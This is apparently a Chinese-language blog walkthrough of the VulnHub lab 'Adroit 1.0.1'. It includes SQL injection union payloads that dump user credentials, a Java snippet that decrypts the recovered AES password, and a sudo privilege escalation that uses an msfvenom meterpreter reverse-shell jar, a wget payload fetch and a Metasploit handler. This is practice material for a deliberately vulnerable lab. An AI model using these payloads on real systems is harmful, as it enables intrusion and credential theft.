首页 > 其他分享 >vulnhub靶场之ADROIT: 1.0.1

vulnhub靶场之ADROIT: 1.0.1

时间:2023-04-23 09:55:30浏览次数:41  
标签:java ADROIT jar idea 192.168 vulnhub import 1.0 root

准备:

攻击机:虚拟机kali、本机win10。

靶机:Adroit: 1.0.1,下载地址:https://download.vulnhub.com/adroit/Adroit-v1.0.1.ova,下载后直接vbox打开即可。

知识点:shell反弹(jar)、sql注入、简单的代码编写、逆向、dns解析。

这个靶场比较推荐,因为之前做的大都是python、php的,这种java类的是很少遇到的,所以还是很有价值的,大家遇到有趣的靶场可以留言一起交流交流。

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.0.0/24,发现靶机地址:192.168.0.13。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.13,显示开放了21端口、22端口、3000端口、3306端口,开启了ssh服务、ftp服务、mysql服务。

2.ftp服务

在nmap的扫描结果中显示ftp服务可以匿名登录,那我们访问下ftp服务,发现三个文件:adroitclient.jar、note.txt、structure.PNG。

查看下图片信息显示的应该是这个靶机的网络结构,note.txt文件是提示信息,但是现在不知道有什么用,先放在这。

二:逆向分析代码

对上面获得adroitclient.jar文件进行逆行,工具比较多就不一一列举了,这里就使用jd-gui这个工具了,使用jd-gui工具打开adroitclient.jar文件后包含四个java文件:AdroitClient.class、Cryptor.class、R.class、Idea.class。

对AdroitClient.class代码进行分析,得到建立连接使用的是adroit.local地址,因此我们需要进行dns解析,win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.13 adroit.local。

然后对下面代码继续分析发现userName=zeus,password=god.thunder.olympus,继续对代码分析后面是post和get两个请求方式,这里咱们选择get方式,然后是下面的核心代码,简单的分析了下,大致意思是让我们传递一个id值,然后将该信息传递到了上面图片中的socks服务端,然后在接受一个返回的response值。因为具体的socks服务端是如何做的不太清除,目前只能分析出来这么多。

request.setOption("get");
System.out.println("Enter the phrase identifier : ");
String inp = scanner.nextLine();
String id = crypt.encrypt("Sup3rS3cur3Dr0it", inp);
Idea idea = new Idea();
idea.setId(id);
request.setIdea(idea);
os.writeObject(request);
R responseobj = (R)is.readObject();
String response = responseobj.getOption();
System.out.println(response);

三:SQL注入与解密

1.sql注入

在本地执行下adroitclient.jar文件,命令:java -jar adroitclient.jar,然后按照要求输入账户、密码、请求方式、id信息,进行测试(这里向socks服务端发送的是idea类),但是没什么返回信息。

后面想到他开启了mysql服务,这里是不是可能存在sql注入,然后就进行了测试,输入参数:1 union select 1,database()--,成功获得数据库信息:adroit。这里两个参数是因为idea类具有两个参数。

然后就是一直进行注入,获取数据库内的数据,执行步骤均同上只替换下最后的语句即可,最后成功获得加密的密码信息:l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY=。

#获取数据库内表信息
1 union select 1,concat(table_name) from information schema.tables where table schema='adroit'--
#获取表内列信息
1 union select 1,concat(column_name) from information_schema.columns where table_name='users'--
#获取表内数据
1 union select 1,concat(id,0x7c,username,0x7c,password,0x0a) from users--

2.密码解密

对获得的加密字符串进行解密,解密的核心代码主要是Cryptor.class文件中的decrypt函数,解密后得到密码:just.write.my.ideas。

package com.company;

import java.security.InvalidKeyException;
import java.security.Key;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;

public class Main {

    public static void main(String[] args) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException {
        String key = "Sup3rS3cur3Dr0it";
        String text ="l4A+n+p+xSxDcYCl0mgxKrO15+OEC3aOfdrWafSqwpY=";
        Key aesKey = new SecretKeySpec(key.getBytes(), "AES");
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(2, aesKey);
        System.out.println(new String(cipher.doFinal(Base64.getDecoder().decode(text))));
    }
}

3.获取shell

利用获得的账户和密码信息:writer/just.write.my.ideas进行ssh登录,成功获得shell权限。

获得shell权限后在/home/writer目录下发现user.txt文件,读取该文件成功获得flag值。

四:提权

1.查找利用点

查看下当前账户是否存在可以使用的特权命令,sudo -l,发现存在(root) /usr/bin/java -jar /tmp/testingmyapp.jar。

2.生成shell反弹jar包

那我们就可以生成一个进行shell反弹的java包testingmyapp.jar。这里可以使用idea、eclipse、msf均可以,我开始使用的是idea制作的jar包,但是因为本机(win)java版本太高,导致到靶机里没法执行,然后找了另一个虚拟机(kali,java版本较低,未对高版本进行测试)使用制作了一个testingmyapp.jar,命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=6688 W >testingmyapp.jar。

然后开启web服务,将该文件下载到靶机中,命令:python -m http.server和wget http://192.168.0.11:8000/testingmyapp.jar。

4.msf利用获取root权限

然后在kali中启动msf并进行如下配置,做好配置之后在靶机的shell中已root权限启动testingmyapp.jar,命令:sudo /usr/bin/java -jar /tmp/testingmyapp.jar,成功获得root权限。

use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.0.10 
set LPORT 6688
run

获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。

标签:java,ADROIT,jar,idea,192.168,vulnhub,import,1.0,root
From: https://www.cnblogs.com/upfine/p/17343188.html

相关文章

  • Vulnhub之Harrison靶机详细测试过程(提权成功)
    Harrison作者:jasonhuawen靶机信息名称:SP:harrison地址:https://www.vulnhub.com/entry/sp-harrison,302/识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Harrison]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:Finished!|ScreenView......
  • 火山引擎云原生数据仓库 ByteHouse 技术白皮书 V1.0 (Ⅴ)
     更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群近日,《火山引擎云原生数据仓库ByteHouse技术白皮书》正式发布。白皮书简述了ByteHouse基于ClickHouse引擎的发展历程,首次详细展现ByteHouse的整体架构设计及自研核心技术,为云原生数据仓......
  • Vulnhub之Healthcare靶机详细测试过程
    Healthcare作者:jasonhuawen靶机信息名称:地址:识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Healthcare]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|ScreenView:UniqueHosts......
  • Vulnhub之HF 2019靶机详细测试过程
    HF2019作者:jasonhuawen靶机信息名称:HackerFest:2019地址:https://www.vulnhub.com/entry/hacker-fest-2019,378/识别目标主机IP地址将虚拟机镜像导入到VirtualBox中,并设置网络模式为host-only,然后启动KaliLinux以及目标主机(虚拟机):(kali㉿kali)-[~/Vulnhub/HF2019]......
  • VulnHub-Tomato: 1
    靶机地址:https://www.vulnhub.com/entry/tomato-1,557/目标:Gettherootshelli.e.(root@localhost:~#)andthenobtainflagunder/root).一、信息收集用arp-scan探测网段内目标靶机的IP,得到目标靶机的IP为192.168.11.137arp-scan-l┌──(root㉿kali)-[~]└─#......
  • VulnHub-DC: 2
    靶机地址:https://www.vulnhub.com/entry/dc-2,311/目标:therearefiveflagsincludingthefinalflag.theonlyflagthatreallycounts,isthefinalflag.主机信息Kali:192.168.11.131DC9:192.168.11.138渗透过程1、主机探测先进行主机探测,查找靶机的IP地址a......
  • 火山引擎云原生数据仓库 ByteHouse 技术白皮书 V1.0 (Ⅳ)
    更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群 近日,《火山引擎云原生数据仓库ByteHouse技术白皮书》正式发布。白皮书简述了ByteHouse基于ClickHouse引擎的发展历程,首次详细展现ByteHouse的整体架构设计及自研核心技术,为云原生数......
  • vulnhub_Earth_WP
    前言靶机地址->>>vulnhub_Earth攻击机ip:192.168.20.121靶机ip:192.168.20.122参考文章https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.htmlhttps://www.cnblogs.com/wthuskyblog/p/16032277.htmlhttps://www.cnblogs.com/CHOSEN1-Z13/p/15915195.html探测靶......
  • gltf version must be 2.0, got 1.0.1
    2015年10月19日,发布了glTF1.0规范glTF2.0于2017年6月发布,是对1.0版文件格式的完整检查,大多数工具都采用2.0版。参考1:https://blog.csdn.net/weixin_40676050/article/details/115033305参考2:https://zhuanlan.zhihu.com/p/166984169......
  • 浪潮信息等企业评审通过OTII-E模块化服务器技术规范V1.0
    ■■ 近期,ODCC服务器工作组组织线上评审会议,评审通过了《OTII-E模块化服务器技术规范V1.0》。评审会议上,浪潮信息、英特尔、中国信通院等相关单位的近50位专家参与了在线评审,深入讨论目前OTII系列标准发展的关键问题、行业价值和发展方向。OTII-E是OTII系列标准中的最新技术规范,将......